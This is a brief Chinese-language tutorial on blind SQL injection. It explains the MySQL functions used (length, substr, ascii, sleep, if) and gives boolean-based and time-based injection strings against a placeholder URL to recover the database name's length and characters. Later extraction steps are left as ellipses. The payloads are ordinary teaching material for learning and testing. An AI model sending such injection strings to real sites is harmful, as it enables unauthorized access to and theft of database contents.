sql盲注常用函数及语句:
length(string):判断字符串长度
string:待判断长度的字符串
返回值:所判断字符串的长度
substr(string,start,lenth):截取字符串
string:待截取的字符串
start:截取的开始位置(从1开始)
length:需要截取的长度
ascii(char):将字符转换成ASCII码表中所对应的数字
char:待转换的字符
sleep(int):设置延时
int:设定所需延迟的时间(一般为5~10秒,即sleep(5)...)
if(条件,语句1,语句2):
条件:为if的判断条件
语句1:如果条件成立执行语句1
语句2:如果条件不成立执行语句2
例子:
构造盲注语句:(以www.xxx.com?id=1为例,对于页面上有显示但无报错的看是否有显示,有显示说明成立,没显示则不成立,也可抓包查看数据包长度;对于没有任何显示的可用延时来判断)
1、首先判断数据库长度:
www.xxx.com?id=1 and length((select database()))>10
网页显示正常说明数据库长度大于10,否则小于10,依次类推可以得到数据库长度
对于没有任何显示的可用下面这条语句
www.xxx.com?id=1 and if(length((select database()))>10,sleep(5),1)
网页出现将近5秒延时(排除一些特殊情况)则说明数据库长度大于10,否者小于10,依次类推得到数据库长度
2、判断数据库名:
www.xxx.com?id=1 and ascii(substr((select database()),1,1))>97
网页显示正常说明数据库名的第一个字符在ASCII表中对应的数字大于97即a,否则小于97,依次类推可以得到数据库名字
对于没有任何显示的可用下面这条语句
www.xxx.com?id=1 and if(ascii(substr((select database()),1,1))>97,sleep(5),1)
网页出现将近5秒延时(排除一些特殊情况)则说明数据库名的第一个字符在ASCII表中对应的数字大于97即a,否则小于 97,依次类推可以得到数据库名字
3、判断表长度和表名
。。。。。。
4、判断字段长度和字段名
。。。。。。
5、读数据
。。。。。。